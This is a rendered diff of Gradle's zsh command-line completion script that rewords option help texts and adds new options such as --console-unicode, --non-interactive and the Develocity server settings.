'-Dorg.gradle.java.installations.auto-detect=[]' \
|
'-Dorg.gradle.java.installations.auto-detect=[]' \
|
||||||
'-Dorg.gradle.java.installations.auto-download=[]' \
|
'-Dorg.gradle.java.installations.auto-download=[]' \
|
||||||
@@ -288,69 +294,75 @@ __gradle_subcommand() {
|
|||||||
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
|
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug)' \
|
||||||
'-Dorg.gradle.logging.stacktrace=[]' \
|
'-Dorg.gradle.logging.stacktrace=[]' \
|
||||||
'-Dorg.gradle.native=[]' \
|
'-Dorg.gradle.native=[]' \
|
||||||
'-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
|
'-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false)' \
|
||||||
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low)' \
|
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low)' \
|
||||||
'-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]' \
|
'-Dorg.gradle.problems.report=[Enables the HTML problems report.]' \
|
||||||
'-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
|
'-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories' \
|
||||||
|
'-Dorg.gradle.tooling.parallel=[]' \
|
||||||
|
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]' \
|
||||||
'-Dorg.gradle.unsafe.isolated-projects=[]' \
|
'-Dorg.gradle.unsafe.isolated-projects=[]' \
|
||||||
'-Dorg.gradle.vfs.verbose=[]' \
|
'-Dorg.gradle.vfs.verbose=[]' \
|
||||||
'-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false)' \
|
'-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false)' \
|
||||||
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']' \
|
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]' \
|
||||||
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
|
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never)' \
|
||||||
'-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]' \
|
'-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
|
||||||
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
||||||
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||||
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn)' \
|
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn)' \
|
||||||
(--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
(--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
||||||
'--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose)' \
|
'--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose)' \
|
||||||
(--no-continue)'--continue[Continue task execution after a task failure.]' \
|
'--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]' \
|
||||||
|
(--no-continue)'--continue[Continues task execution after a task failure.]' \
|
||||||
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
||||||
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
|
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||||
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
|
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
|
||||||
{-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off)' \
|
{-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off)' \
|
||||||
{-m,--dry-run}'[Run the builds with all task actions disabled.]' \
|
'--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]' \
|
||||||
\*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
|
'--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]' \
|
||||||
|
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
|
||||||
|
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
|
||||||
'--export-keys[Exports the public keys used for dependency verification.]' \
|
'--export-keys[Exports the public keys used for dependency verification.]' \
|
||||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||||
(--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
|
(--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
|
||||||
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories' \
|
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories' \
|
||||||
\*'--include-build[Include the specified build in the composite.]:include build:_directories' \
|
\*'--include-build[Includes the specified build in the composite.]:include build:_directories' \
|
||||||
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
|
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
|
||||||
\*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
|
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts)' \
|
||||||
'--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]' \
|
'--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]' \
|
||||||
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
||||||
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
||||||
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
||||||
(--continue)'--no-continue[Stop task execution after a task failure.]' \
|
(--continue)'--no-continue[Stops task execution after a task failure.]' \
|
||||||
(--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
(--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
||||||
(--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
|
(--parallel)'--no-parallel[Disables parallel project execution.]' \
|
||||||
(--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
|
(--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
|
||||||
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
|
{-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
|
||||||
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
||||||
(--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
|
(--watch-fs)'--no-watch-fs[Disables file system watching.]' \
|
||||||
'--offline[Execute the build without accessing network resources.]' \
|
'--non-interactive[Do not do interactive prompting. (incubating)]' \
|
||||||
(--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
'--offline[Runs the build without accessing network resources.]' \
|
||||||
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']' \
|
(--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||||
(--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
|
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]' \
|
||||||
'--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
|
(--no-problems-report)'--problems-report[Enables the HTML problems report. (incubating)]' \
|
||||||
'--project-cache-dir[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:project cache dir:_directories' \
|
'--profile[Profiles build execution time. Generates a report in the <build_dir>/reports/profile directory.]' \
|
||||||
{-p,--project-dir}'[Specifies the start directory for Gradle. Defaults to current directory.]:project dir:_directories' \
|
'--project-cache-dir[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:project cache dir:_directories' \
|
||||||
'--property-upgrade-report[(Experimental) Runs build with experimental property upgrade report.]' \
|
{-p,--project-dir}'[Specifies the start directory for Gradle. Default is the current directory.]:project dir:_directories' \
|
||||||
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Log errors only.]' \
|
'--property-upgrade-report[Runs the build with the experimental property upgrade report. (incubating)]' \
|
||||||
{-U,--refresh-dependencies}'[Refresh the state of dependencies.]' \
|
(--warn,-w,--info,-i,--debug,-d){-q,--quiet}'[Logs errors only.]' \
|
||||||
'--refresh-keys[Refresh the public keys used for dependency verification.]' \
|
{-U,--refresh-dependencies}'[Refreshes the state of dependencies.]' \
|
||||||
|
'--refresh-keys[Refreshes the public keys used for dependency verification.]' \
|
||||||
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
'--rerun[Causes the task to be re-run even if up-to-date.]' \
|
||||||
'--rerun-tasks[Ignore previously cached task results.]' \
|
'--rerun-tasks[Ignores previously cached task results.]' \
|
||||||
(--no-scan)'--scan[Generate a Build Scan (powered by Develocity).]' \
|
(--no-scan)'--scan[Generates a Build Scan (powered by Develocity).]' \
|
||||||
{-V,--show-version}'[Print version info and continue.]' \
|
{-V,--show-version}'[Print version info and continue.]' \
|
||||||
(--full-stacktrace,-S){-s,--stacktrace}'[Print out the stacktrace for all exceptions.]' \
|
(--full-stacktrace,-S){-s,--stacktrace}'[Prints the stacktrace for all exceptions.]' \
|
||||||
'--task-graph[(Experimental) Print task graph instead of executing tasks.]' \
|
'--task-graph[Prints the task graph instead of executing tasks.]' \
|
||||||
\*'--update-locks[Perform a partial update of the dependency lock, letting passed in module notations change version. (incubating)]' \
|
\*'--update-locks[Performs a partial update of the dependency lock. Allows passed-in module notations to change version. (incubating)]' \
|
||||||
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Set log level to warn.]' \
|
(--quiet,-q,--info,-i,--debug,-d){-w,--warn}'[Sets the log level to warn.]' \
|
||||||
'--warning-mode[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:warning mode:(all summary none)' \
|
'--warning-mode[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:warning mode:(all summary none)' \
|
||||||
(--no-watch-fs)'--watch-fs[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]' \
|
(--no-watch-fs)'--watch-fs[Enables file system watching. Reuses file system data for subsequent builds.]' \
|
||||||
'--write-locks[Persists dependency resolution for locked configurations, ignoring existing locking information if it exists]' \
|
'--write-locks[Persists dependency resolution for locked configurations. Ignores existing locking information if it exists.]' \
|
||||||
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project (comma-separated list)]' && ret=0
|
{-M,--write-verification-metadata}'[Generates checksums for dependencies used in the project. Accepts a comma-separated list.]' && ret=0
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
@@ -376,7 +388,9 @@ _gradle() {
|
|||||||
typeset -A opt_args
|
typeset -A opt_args
|
||||||
|
|
||||||
_arguments -C \
|
_arguments -C \
|
||||||
'-Dgradle.user.home=[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle.user.home:_directories:->argument-expected' \
|
'-Dcom.gradle.develocity.plugin.version=[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
|
||||||
|
'-Dcom.gradle.develocity.url=[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
|
||||||
|
'-Dgradle.user.home=[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle.user.home:_directories:->argument-expected' \
|
||||||
'-Dorg.gradle.caching.debug=[]:->argument-expected' \
|
'-Dorg.gradle.caching.debug=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
|
'-Dorg.gradle.caching=[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]:org.gradle.caching:(true false):->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.entries-per-key=[]:->argument-expected' \
|
||||||
@@ -387,24 +401,26 @@ _gradle() {
|
|||||||
'-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.integrity-check=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.max-problems=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.parallel=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
|
'-Dorg.gradle.configuration-cache.problems=[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:org.gradle.configuration cache.problems:(fail warn):->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.read-only=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache.unsafe.ignore.unsupported-build-events-listeners=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
|
'-Dorg.gradle.configuration-cache=[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]:->argument-expected' \
|
||||||
'-Dorg.gradle.configureondemand=[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
|
'-Dorg.gradle.configureondemand=[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds.]:->argument-expected' \
|
||||||
'-Dorg.gradle.console=[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
|
'-Dorg.gradle.console.interactive=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.continue=[Continue task execution after a task failure.]:->argument-expected' \
|
'-Dorg.gradle.console.unicode=[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
|
||||||
|
'-Dorg.gradle.console=[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:org.gradle.console:(plain auto rich verbose):->argument-expected' \
|
||||||
|
'-Dorg.gradle.continue=[Continues task execution after a task failure.]:->argument-expected' \
|
||||||
'-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
|
'-Dorg.gradle.continuous.quietperiod=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
|
'-Dorg.gradle.daemon.healthcheckinterval=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
|
'-Dorg.gradle.daemon.idletimeout=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
|
'-Dorg.gradle.daemon.registry.base=[]:org.gradle.daemon.registry.base:_directories:->argument-expected' \
|
||||||
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if not running.]:->argument-expected' \
|
'-Dorg.gradle.daemon=[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]:->argument-expected' \
|
||||||
'-Dorg.gradle.debug.host=[]:->argument-expected' \
|
'-Dorg.gradle.debug.host=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.debug.port=[]:->argument-expected' \
|
'-Dorg.gradle.debug.port=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.debug.server=[]:->argument-expected' \
|
'-Dorg.gradle.debug.server=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.debug.suspend=[]:->argument-expected' \
|
'-Dorg.gradle.debug.suspend=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
|
'-Dorg.gradle.debug=[]:org.gradle.debug:(true false):->argument-expected' \
|
||||||
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
|
'-Dorg.gradle.dependency.verification=[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:org.gradle.dependency.verification:(strict lenient off):->argument-expected' \
|
||||||
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
|
'-Dorg.gradle.java.home=[]:org.gradle.java.home:_directories:->argument-expected' \
|
||||||
'-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
|
'-Dorg.gradle.java.installations.auto-detect=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
|
'-Dorg.gradle.java.installations.auto-download=[]:->argument-expected' \
|
||||||
@@ -415,73 +431,79 @@ _gradle() {
|
|||||||
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
|
'-Dorg.gradle.logging.level=[]:org.gradle.logging.level:(quiet warn info debug):->argument-expected' \
|
||||||
'-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
|
'-Dorg.gradle.logging.stacktrace=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.native=[]:->argument-expected' \
|
'-Dorg.gradle.native=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.parallel=[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
|
'-Dorg.gradle.parallel=[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]:org.gradle.parallel:(true false):->argument-expected' \
|
||||||
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:org.gradle.priority:(normal low):->argument-expected' \
|
'-Dorg.gradle.priority=[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:org.gradle.priority:(normal low):->argument-expected' \
|
||||||
'-Dorg.gradle.problems.report=[(Experimental) enables HTML problems report]:->argument-expected' \
|
'-Dorg.gradle.problems.report=[Enables the HTML problems report.]:->argument-expected' \
|
||||||
'-Dorg.gradle.projectcachedir=[Specify the project-specific cache directory. Defaults to .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
|
'-Dorg.gradle.projectcachedir=[Specifies the project-specific cache directory. Default is .gradle in the root project directory.]:org.gradle.projectcachedir:_directories:->argument-expected' \
|
||||||
|
'-Dorg.gradle.tooling.parallel=[]:->argument-expected' \
|
||||||
|
'-Dorg.gradle.unsafe.isolated-projects.diagnostics=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
|
'-Dorg.gradle.unsafe.isolated-projects=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
|
'-Dorg.gradle.vfs.verbose=[]:->argument-expected' \
|
||||||
'-Dorg.gradle.vfs.watch=[Enables watching the file system for changes, allowing data about the file system to be re-used for the next build.]:org.gradle.vfs.watch:(true false):->argument-expected' \
|
'-Dorg.gradle.vfs.watch=[Enables file system watching. Reuses file system data for subsequent builds.]:org.gradle.vfs.watch:(true false):->argument-expected' \
|
||||||
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Values are 'all', 'fail', 'summary'(default) or 'none']:->argument-expected' \
|
'-Dorg.gradle.warning.mode=[Specifies which mode of warnings to generate. Supported values are 'all', 'fail', 'summary' (default), or 'none'.]:->argument-expected' \
|
||||||
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
|
'-Dorg.gradle.welcome=[]:org.gradle.welcome:(once never):->argument-expected' \
|
||||||
'-Dorg.gradle.workers.max=[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
'-Dorg.gradle.workers.max=[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
||||||
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
(--no-build-cache)'--build-cache[Enables the Gradle build cache. Gradle will try to reuse outputs from previous builds.]' \
|
||||||
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
(--no-configuration-cache)'--configuration-cache[Enables the configuration cache. Gradle will try to reuse the build configuration from previous builds.]' \
|
||||||
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Defaults to fail.]:configuration cache problems:(fail warn):->argument-expected' \
|
'--configuration-cache-problems[Configures how the configuration cache handles problems (fail or warn). Supported values are 'warn', or 'fail' (default).]:configuration cache problems:(fail warn):->argument-expected' \
|
||||||
(--no-configure-on-demand)'--configure-on-demand[Configure necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
(--no-configure-on-demand)'--configure-on-demand[Configures necessary projects only. Gradle will attempt to reduce configuration time for large multi-project builds. (incubating)]' \
|
||||||
'--console[Specifies which type of console output to generate. Values are 'plain', 'colored', 'auto' (default), 'rich' or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
|
'--console[Specifies which type of console output to generate. Supported values are 'plain', 'colored', 'auto' (default), 'rich', or 'verbose'.]:console:(plain auto rich verbose):->argument-expected' \
|
||||||
(--no-continue)'--continue[Continue task execution after a task failure.]' \
|
'--console-unicode[Specifies which character types are allowed in the console output. Supported values are 'auto' (default), 'disable', or 'enable'.]:->argument-expected' \
|
||||||
|
(--no-continue)'--continue[Continues task execution after a task failure.]' \
|
||||||
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
{-t,--continuous}'[Enables continuous build. Gradle does not exit and will re-execute tasks when task file inputs change.]' \
|
||||||
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if not running.]' \
|
(--no-daemon)'--daemon[Uses the Gradle daemon to run the build. Starts the daemon if it is not running.]' \
|
||||||
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Log in debug mode (includes normal stacktrace).]' \
|
(--quiet,-q,--warn,-w,--info,-i){-d,--debug}'[Sets log level to debug. Includes the normal stacktrace.]' \
|
||||||
{-F,--dependency-verification}'[Configures the dependency verification mode. Values are 'strict', 'lenient' or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
|
{-F,--dependency-verification}'[Configures the dependency verification mode. Supported values are 'strict', 'lenient', or 'off'.]:dependency verification:(strict lenient off):->argument-expected' \
|
||||||
{-m,--dry-run}'[Run the builds with all task actions disabled.]' \
|
'--develocity-plugin-version[Version of the Develocity plugin to auto-apply, must be 4.4.0 or higher if Develocity URL is specified as well.]:->argument-expected' \
|
||||||
\*{-x,--exclude-task}'[Specify a task to be excluded from execution.]' \
|
'--develocity-url[Default URL of the Develocity server to publish Build Scan to. Triggers auto-application of the Develocity plugin if not already applied.]:->argument-expected' \
|
||||||
|
{-m,--dry-run}'[Runs the build with all task actions disabled.]' \
|
||||||
|
\*{-x,--exclude-task}'[Specifies a task to exclude from execution.]' \
|
||||||
'--export-keys[Exports the public keys used for dependency verification.]' \
|
'--export-keys[Exports the public keys used for dependency verification.]' \
|
||||||
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
'--foreground[Starts the Gradle daemon in the foreground.]' \
|
||||||
(--stacktrace,-s){-S,--full-stacktrace}'[Print out the full (very verbose) stacktrace for all exceptions.]' \
|
(--stacktrace,-s){-S,--full-stacktrace}'[Prints the full (very verbose) stacktrace for all exceptions.]' \
|
||||||
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Defaults to ~/.gradle]:gradle user home:_directories:->argument-expected' \
|
{-g,--gradle-user-home}'[Specifies the Gradle user home directory. Default is ~/.gradle.]:gradle user home:_directories:->argument-expected' \
|
||||||
{-h,--help}'[Shows a help message.]' \
|
{-h,--help}'[Shows a help message.]' \
|
||||||
\*'--include-build[Include the specified build in the composite.]:include build:_directories:->argument-expected' \
|
\*'--include-build[Includes the specified build in the composite.]:include build:_directories:->argument-expected' \
|
||||||
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Set log level to info.]' \
|
(--quiet,-q,--warn,-w,--debug,-d){-i,--info}'[Sets the log level to info.]' \
|
||||||
\*{-I,--init-script}'[Specify an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
|
\*{-I,--init-script}'[Specifies an initialization script.]:init script:_files -g \*.gradle(|.kts):->argument-expected' \
|
||||||
'--max-workers[Configure the number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
'--max-workers[Configures the maximum number of concurrent workers Gradle is allowed to use.]:->argument-expected' \
|
||||||
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
(--build-cache)'--no-build-cache[Disables the Gradle build cache.]' \
|
||||||
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
(--configuration-cache)'--no-configuration-cache[Disables the configuration cache.]' \
|
||||||
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
(--configure-on-demand)'--no-configure-on-demand[Disables the use of configuration on demand. (incubating)]' \
|
||||||
(--continue)'--no-continue[Stop task execution after a task failure.]' \
|
(--continue)'--no-continue[Stops task execution after a task failure.]' \
|
||||||
(--daemon)'--no-daemon[Do not use the Gradle daemon to run the build. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
(--daemon)'--no-daemon[Runs the build without the Gradle daemon. Useful occasionally if you have configured Gradle to always run with the daemon by default.]' \
|
||||||
(--parallel)'--no-parallel[Disables parallel execution to build projects.]' \
|
(--parallel)'--no-parallel[Disables parallel project execution.]' \
|
||||||
(--problems-report)'--no-problems-report[(Experimental) disables HTML problems report]' \
|
(--problems-report)'--no-problems-report[Disables the HTML problems report. (incubating)]' \
|
||||||
{-a,--no-rebuild}'[Do not rebuild project dependencies.]' \
|
{-a,--no-rebuild}'[Disables rebuilding of project dependencies.]' \
|
||||||
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
(--scan)'--no-scan[Disables the creation of a Build Scan.]' \
|
||||||
(--watch-fs)'--no-watch-fs[Disables watching the file system.]' \
|
(--watch-fs)'--no-watch-fs[Disables file system watching.]' \
|
||||||
'--offline[Execute the build without accessing network resources.]' \
|
'--non-interactive[Do not do interactive prompting. (incubating)]' \
|
||||||
(--no-parallel)'--parallel[Build projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
'--offline[Runs the build without accessing network resources.]' \
|
||||||
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Values are 'normal' (default) or 'low']:->argument-expected' \
|
(--no-parallel)'--parallel[Builds projects in parallel. Gradle will attempt to determine the optimal number of executor threads to use.]' \
|
||||||
(--no-problems-report)'--problems-report[(Experimental) enables HTML problems report]' \
|
'--priority[Specifies the scheduling priority for the Gradle daemon and all processes launched by it. Supported values are 'normal' (default) or 'low'.]:->argument-expected' \
|
||||||
'--profile[Profile build execution time and generates a report in the <build_dir>/reports/profile directory.]' \
|
